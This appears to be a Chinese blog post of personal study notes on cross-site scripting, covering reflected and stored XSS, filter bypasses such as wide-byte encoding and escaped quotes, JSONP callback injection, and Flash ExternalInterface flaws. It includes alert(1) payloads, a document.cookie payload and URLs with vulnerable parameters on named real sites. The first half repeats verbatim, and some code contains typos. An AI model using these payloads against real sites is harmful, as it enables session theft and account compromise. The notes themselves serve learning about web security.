XSS例子

1.当模型是这样

<html>输出</html>

或是这样

<html></html>

输出

<html></html>

当源代码是这样时

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 输入:<input type="text" id="input"/>
 6 <script>
 7 var v=document.getElementById("input").value;
 8 document.write("</br>");
 9 document.write(v);
10 </script>
11 </body>
12 </html>
View Code

由于我们输入的东西会直接写到html中,且没有作任何过滤,于是我们直接在输入框中输入

<img src=# onerror="alert(1)"/>,写入后刷新页面,弹出对话框

2.当输出在<script></script>标签的时候

分两种情况

i.当没有过滤得时候,我们构造输入如下

   aaaaaa</script><script>alert(1)</script>

这样一来,我们的第一个</script>标签封闭掉了前面的<script>,同时,自己再之后构造自己的js脚本

<script>alert(1)</script>

ii.当过滤了<,>,/时

当输入为aaaaaaaaaa时

当时输出的

<script='text/javascript'> document.domain='soso.com';_ret=

....;try{parent.aaaaaaaaaaa(_ret);}catch(err){aaaaaaa(_ret);}</script>

由于<,/,>标签被过滤所以我们无法像之前那样用</script>闭合掉前面的<script>标签在构造出自己的脚本

于是我们输入eval('alert(1)');并添加:void闭合掉后面的(_ret)

3.当输出出现在html属性中的时候

比如说如果是这样

   i.<input type="text" value="输入的文字显示"/>

       于是我们可以这样构造输入 a“ onclick="alert(1)

        于是第一个双引号闭合掉了 ,而之后的双引号加上alert(1)使得当用户点击的时候弹出了对话框

        但是常常会被过滤双引号,我们可以

    ii.在老版本的浏览器中以下利用以下代码

       <div style="width:expression(alert('xss'));">Hello World</div>

        在属性中利用   expression()输入Js代码1

        而在css代码里,允许使用转义字符,\+ascli 16进制形式

       比如说e 可以变成  \65,http://ascii.911cha.com

       在这里可以

      还有对于以下属性

      <input type="text" id="m" onkeydown="location.href='127.0.0.1/xss.php?a=你的输入>

       如果有这样的代码,在输入部分

       在输入部分先用'闭合前面href对应的单引号,然后用分号.完结掉location.href的句子,再输入自己的js语句alert(1)

       整个代码如同这样

       
     <input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>

      但是,单引号会被过滤

      <input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x&#39;;alert(/1/)"/>

     可能单引号会被过滤我们可以使用html Encode的代码代替

4.对于被过滤得情况,我们还可以考虑宽字节

         原理: 一般的过滤之后是这样:

          比如说过滤掉双引号是在前面添加转义符,

          但是对于GB......系列的编码,它的编码范围是  0X8140-0XFEFE(不包括XX7F

),在遇到%df,%c0等以上ascli码大于128时,自动拼接%5c,因此吃掉了“/”

在输入的“前添加   %C0

  5.当代码结构如下

   location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。

    原本实际上是,location.href

    组合三个字符串".........",="........."+"&ss=aaaa","+"&from=bbb"+""+"&param=";

我们这样 

1.location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param="; 

这样做(将中间标红的部分)合并成了一个字符串

2.再这样.

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

我们注释掉以后的部分

但是由于&的优先级件高,所以会先和from结合,再被赋值

所以变成了location.href=("字符串"&from)=1

语法错误!

更改为如下

location.href="字符串&(from==1)"

 但是from 未有定义

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";

 这样就可以了

结论:1.关键是利用一个"\",转,义了其中的一个“,使得剩余的一个”能够通过//将其注释掉

   2.当将空格过滤掉之后,我们可以使用/**/来应对

   3.通过定义  function   from()

                  {

                   }来应对

   6当我们的输入会在注释中出现的话,例如以下

    //(".........",aaaaaaaaaaaa); 

         其中类似于//注释  ,[我是输出]

   但是如果是这样 //注释[我是输出part 

        alert(1);//我是输出part2       ]

         我们在URL中输入%0a为换行符

   补1

    %0a, %0d,换行,回车URL编码

    7.一个也出现在 <script>  </script>中的情况

      有以下样式

     <script>

    //document.getElementById("order_select").value="您的输入"

   var searchOrder="您的输入"

     </script>

我们想到利用换行符 %0d

//document.getElementById("order_select").value="

alert(1)://";

  var searchOrder="aaaaaa  (但注意到,这里语法错误双引号没有闭合)

alert  (1)//)";

</script>    

==============

需要注意到,Js有以下语法

var a =“Hello\

World”;

alert(a);

对,利用\表示换行

//document.getElementById("order_select").value="aaaa\

alert(1);//"

var searchOrder="aaaa\(在原教程中,这个被转义了,联系之前的宽字节。。。%c0吃掉5c%)

alert(1);//"

 

    

    

 

---恢复内容结束---

 

1.当模型是这样

<html>输出</html>

或是这样

<html></html>

输出

<html></html>

当源代码是这样时

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 输入:<input type="text" id="input"/>
 6 <script>
 7 var v=document.getElementById("input").value;
 8 document.write("</br>");
 9 document.write(v);
10 </script>
11 </body>
12 </html>
View Code

由于我们输入的东西会直接写到html中,且没有作任何过滤,于是我们直接在输入框中输入

<img src=# onerror="alert(1)"/>,写入后刷新页面,弹出对话框

2.当输出在<script></script>标签的时候

分两种情况

i.当没有过滤得时候,我们构造输入如下

   aaaaaa</script><script>alert(1)</script>

这样一来,我们的第一个</script>标签封闭掉了前面的<script>,同时,自己再之后构造自己的js脚本

<script>alert(1)</script>

ii.当过滤了<,>,/时

当输入为aaaaaaaaaa时

当时输出的

<script='text/javascript'> document.domain='soso.com';_ret=

....;try{parent.aaaaaaaaaaa(_ret);}catch(err){aaaaaaa(_ret);}</script>

由于<,/,>标签被过滤所以我们无法像之前那样用</script>闭合掉前面的<script>标签在构造出自己的脚本

于是我们输入eval('alert(1)');并添加:void闭合掉后面的(_ret)

3.当输出出现在html属性中的时候

比如说如果是这样

   i.<input type="text" value="输入的文字显示"/>

       于是我们可以这样构造输入 a“ onclick="alert(1)

        于是第一个双引号闭合掉了 ,而之后的双引号加上alert(1)使得当用户点击的时候弹出了对话框

        但是常常会被过滤双引号,我们可以

    ii.在老版本的浏览器中以下利用以下代码

       <div style="width:expression(alert('xss'));">Hello World</div>

        在属性中利用   expression()输入Js代码1

        而在css代码里,允许使用转义字符,\+ascli 16进制形式

       比如说e 可以变成  \65,http://ascii.911cha.com

       在这里可以

      还有对于以下属性

      <input type="text" id="m" onkeydown="location.href='127.0.0.1/xss.php?a=你的输入>

       如果有这样的代码,在输入部分

       在输入部分先用'闭合前面href对应的单引号,然后用分号.完结掉location.href的句子,再输入自己的js语句alert(1)

       整个代码如同这样

       
     <input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x';alert(/1/)"/>

      但是,单引号会被过滤

      <input type="text" id="pagenum" onkeydown="location.href='127.0.0.1/xss.php?a=x&#39;;alert(/1/)"/>

     可能单引号会被过滤我们可以使用html Encode的代码代替

4.对于被过滤得情况,我们还可以考虑宽字节

         原理: 一般的过滤之后是这样:

          比如说过滤掉双引号是在前面添加转义符,

          但是对于GB......系列的编码,它的编码范围是  0X8140-0XFEFE(不包括XX7F

),在遇到%df,%c0等以上ascli码大于128时,自动拼接%5c,因此吃掉了“/”

在输入的“前添加   %C0

  5.当代码结构如下

   location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。

    原本实际上是,location.href

    组合三个字符串".........",="........."+"&ss=aaaa","+"&from=bbb"+""+"&param=";

我们这样 

1.location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param="; 

这样做(将中间标红的部分)合并成了一个字符串

2.再这样.

location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

我们注释掉以后的部分

但是由于&的优先级件高,所以会先和from结合,再被赋值

所以变成了location.href=("字符串"&from)=1

语法错误!

更改为如下

location.href="字符串&(from==1)"

 但是from 未有定义

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";

 这样就可以了

结论:1.关键是利用一个"\",转,义了其中的一个“,使得剩余的一个”能够通过//将其注释掉

   2.当将空格过滤掉之后,我们可以使用/**/来应对

   3.通过定义  function   from()

                  {

                   }来应对fromm没有定义的情况

   6当我们的输入会在注释中出现的话,例如以下

    //(".........",aaaaaaaaaaaa); 

         其中类似于//注释  ,[我是输出]

   但是如果是这样 //注释[我是输出part 

        alert(1);//我是输出part2       ]

         我们在URL中输入%0a为换行符

   补1

    %0a, %0d,换行,回车URL编码

    7.一个也出现在 <script>  </script>中的情况

      有以下样式

     <script>

    //document.getElementById("order_select").value="您的输入"

   var searchOrder="您的输入"

     </script>

我们想到利用换行符 %0d

//document.getElementById("order_select").value="

alert(1)://";

  var searchOrder="aaaaaa  (但注意到,这里语法错误双引号没有闭合)

alert  (1)//)";

</script>    

==============

需要注意到,Js有以下语法

var a =“Hello\

World”;

alert(a);

对,利用\表示换行

//document.getElementById("order_select").value="aaaa\

alert(1);//"

var searchOrder="aaaa\(在原教程中,这个被转义了,联系之前的宽字节。。。%c0吃掉5c%)

alert(1);//"

 eval('this.'+arg[0]+'="'+arg[1]+'";');

     eval('key="aaa";alert(1);//";')

传入key=aaa";alert(1);//

     这样既可

4.有时候,输出还会出现在<iframe>src="输出"></iframe>

      iframe的变化

      最简单的一种方式  <iframe onload="alert(1)"></iframe>

     或者我们可以通过   src中嵌入javascript协议来执行我们的脚本

    像是这样

    <iframe src="javascript:alert(1)"/></iframe>

    在IE下也可以这样

    <iframe src="vbscript:msgbox(1)"></iframe>

    以及利用data协议

    <iframe src="data:text/html;<script>alert(1)</scipt>"></iframe>

    以及我们可以将<,>进行htmlencode加密

    <iframe src="data:text/html",&lt;script&gt;alert(1)&lt;/script&gt;></iframe>

   其实说到这里也就有想法了

   安全状况的发生经常是过滤不全,比如有下面的代码

function OpenFrame(url) {
	if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
	document.getElementById("toolframe").src = url;
}

 这里仅仅过滤了javascript:

注意到在vbscript中‘类似于\\

一些程序员会动态的家在json数据,同域的时候,可以使用ajax;

而有时候,数据所在域和当前页面所在域又不一致,可以通过jsonp进行跨域

用代码表示的话,就是

somescript.src="http://otherdomain.com/xx?jsonp=callback"

有时,程序员会在调用外部数据的时候带上可控的参数

somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;

有三种情况

第一种

src 完全被控制,那么由于js可以被跨域,所以,我们直接将src更改为我们自己的功绩代码

第二种

script src="/path/xxx/(路径被控制)/1.js"

script src="/path/xx"

     i,上传到同域名下,修改控制路径为上传路径

     ii.想方设法的找到JSON接口,然后找到json接口的路径

       <script src="../..,/.../../xxx?json?callback=alerta(1)"></script>

   iii。对json参数进行注入

         <script src=script src="/xxxx/json.php?callback=xxxx&param1=yyy&param >

http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681

        在这个实例中,抓包的时候, 会加载外部js的地址

        对于以上URL   、可以发现      在callback,dtag,ranking这些可控的参数中,我们无法使用"<>",这证明了JSON接口本身是无XSS风险的

        观察了以上的URL,试图通过第二种方法

        再来比对以下我们访问的URL

         http://bag.paipai.com/search_list.shtml?type=aaaaaaaa&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13

        和加载外部的JS

               http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681   

         想通过更改     

         type为这样覆盖前面的callback参数   

        在这个教程里,他说 无法通过type&callback=alert(1)进行因为,这样做会导致type为空,又一点没有弄明白就是

         为何不将type参数设置为aaaa&callback=alert(1)。。。。

         有点不明白

         通过仔细查询,原作者定义到了以下代码

 1 function init() {
 2         var keyword = decodeURIComp($getQuery('keyword')),
 3         type = $getQuery('type'),
 4         searchtype = $getQuery('searchtype');
 5         option.keyword = keyword;
 6         option.classId = type;
 7         option.searchType = searchtype || option.searchType;
 8         option.beginPrice = $getQuery('bp');
 9         option.endPrice = $getQuery('ep');
10         option.NewProp = $getQuery('np') || $getQuery('newprop');
11         option.property = $getQuery('pro') || option.property;
12         option.cid = $getQuery('cid');
13         option.Paytype = $getQuery('pt') || option.Paytype;
14         option.hongbaoKeyword = $getQuery('hb');
15         option.conditionStatus = $getQuery('cs') || option.conditionStatus;
16         option.showType = $getQuery('show') || option.showType;
17         option.mode = $getQuery('mode') || option.mode;
18         option.address = decodeURIComp($getQuery('adr'));
19         option.orderStyle = $getQuery('os') || option.orderStyle || 80;
20         option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
21         option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
22         var pageIndex = $getQuery('pi'),
23         pageSize = $getQuery('ps');
24         option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
25         option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
26     };
View Code

          他发现这个keyword参数有过一次URLDECODE  

          所以,可以通过让keyword=26%callback=alert(1),让callback参数覆盖掉了之前的我们无法控制的callback参数

        补充一个js函数

         String.fromCharCode(,,,,)其中市ascll码组合出的语句,数字之间用,隔开

===================================================

最后一个是        

settimeout("window.location.href='http://www.discuz.net/./输出在这里' ; ",20000);

看到这里,第一反应就是  用单引号闭合掉前面的单引号,然后;自己的js

像是这样   settimeout("window.location.href='http://www.discuz.net';alert(1);  ",30000);

              发现单引号被过滤(似乎被html转码了,不能闭合掉之前的单引了),回想起之前,js可以用unicode表示

。。。\u0027,\x27

最后有一点,对于window.location.href='xxxxxxx';alert(1);

一旦跳了跳转过去,alert(1)就不会执行了

利用replace作正则替换window.location.href='http://www.discuz.net'.replace(//,/javascript:alert(document.cookie)/.source//';",200);

=================================================================================

存储形xss

    先寻找显示出来的能够被自己操作的地方,  

    自己对其进行操作,修改,察看是否还能显示出被自己修改的样子

   顺便补充一个知识

   如果a网页的有http only保护

    无法读出document.cookie

    那么我们可以跳转至(window.location.href="另一个l站点"),通过另一个未保护的网站,获取cookie(location.href之后,document。cookie(感觉并无改变))

=========================================================

下面Flash     Xss

1.  补充一个GooGle 语法用来搜索

site :qq.com filetype:swf inurl:xml

  限定域名为qq.com 文件类型为swf  地址参数含有xml的

找到了下面这个Flash

http://imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://v.qq.com/doco/pic.xml

可以知道  这个Flash会调用pic.xml文件们拦截到目标xml,重点关注到

<link>节点,也就是我们点击图片时,会挑砖道目标地址

在不同版本的AS中,我们的实现方法是不一样的

as 3.0版本

navigateTOURL(new URLRequest(link),"__SELF");

as 2.0版本

getURL(link,"__self");

,可以想到在以前挖掘XSS的时候,我们会把相关网页跳转的地址更改为javascript:alert(1),如<a>标签以及window.location=

data:text/html ,代码

在我们反编译这个flash文件后,我们可以看到有这么一句代码

navigateRoURL(new URLRequest(data.link),"__self");

把xml文件替换,加载被替换的XML

把link更改为javascript:alert(1);让flash加载这个被替换的xml文件

 2.事实上,对于Flash      Xss

有两个参数,都在重点考虑范围内

1.navigate ToURL

2.Externalinterface.call(调用JS函数)

如  ExternallInterface.call(“alert”,“1”);

在下面这个as中,是先接受Flash所带的参数

如

var func:String=root.loaderInfo.parameters.func;

ExternalInterface.call(func,"1";);

这个func参数我们是可以控制的,

对于这个,实际上最后执行的JS代码,形式如下

try{flash__toXML(函数名(“参数1”));}catch(e){"<undefined/>";}

在本例中,我们对flash进行反编译

发现有如下语句

this.moviename=decodeURLComponent(root.loaderInfo.parameter.MovieName)

继续跟踪   this.moviename

this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
再跟踪this.flashReady_callback
ExternalCall.Simple(this.flashReady Callback);
最后再跟踪这个Simple
public static function Simple(arg1:String):void
{
ExternalInterface.call(_arg1);
}

比如说,当this.movieName为aaaaaaaaa时
最后实际上是
ExternallInterface.call("SWFupload.instances["aaaaaaa"].flashReady" )
try {__flash__toXML(SWFUpload.instances["aaaaaaaaaaaaaa"].flashReady()); }catch(e) {"<undefined/>"}

于是想利用catch (e),走到这个分支来
aaa"])} catch(e){ alert(1);};//"].flashReady("参数1");catch(e){"<undefined/>";}
2
在接下来的例子中
http://qzs.qq.com/qzone/v6/custom_module_proxy.html#siDomain=1&g_styleID=aaaaaaaaa
这个aaaaaaaa被用来当作调用csss的参数
如下
<link href="http://1/qzone/v6/gb/skin/aaaaaa"> rel="stylesheet">
再看一下程序员写的代码
var   siDomain=paras["siDomain"],
g_styleID=paras["g_styleID"].replace("v6/","");
if(siDomain.indexOf(".qq.com">-1))
{
siDomain=paras["siDomain"]="qzonesStyle.gtimg.cn";
}document.wiret("<link href="http://'+siDomain+'/qzone_v6/gb/skin/+g_styleID+"css" rel="stylesheet"/><link hr>")

siDomain=1&g_styleId="><script>alert(1)</script>

发现他把v6/替换为空..加上前面的对siDomain的判断,感觉这人是担心v6/路径和前面的域名影响到了后面的URl


3.
flash addcallback函数,有以下代码
(((activeX == true)) && (!((objectID == null))))){
_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};
发现,它会过滤非本域名,试图改变object ID
像是这样

__flash__addcallback(docuument.getElementById("aaa"),"myfunc");
__flash__addcallback(document.getElementByhhhaode1
aaaaa").alert(1),"myfunc"
====================
Flash的第二个参数

================================================
正常情况下打开URL为如下
http://imgcache.qq.com/qzone_v4/2/qzone_v4/2/default_menu_horizontal.swf?xl_path=http://imgcache.qq.com/qzone/client/
custom_menu/custom_menu.xml
打开这个xml文件
反编译swf文件,发现有
externalInterface.call("custom_menu_swf",menu_array[_local].href);
联系到以前能够加载自己的xml的方法
我们试图通过<menu name="a" href=\&quot;,alert(1)/>来进行


实际上是这样
try{__flash__toXML(函数名("参数1"));}

想要挣脱",必须得闭合前面的双引号
可是结果会在双引号前面加个\,,,方法是

a\\"))}catche(e){alert(1)}//........}
主要是利用了\被转移,而双引号逃脱了\转义!

posted @ 2015-09-21 09:59  平何去何  阅读(993)  评论(0)    收藏  举报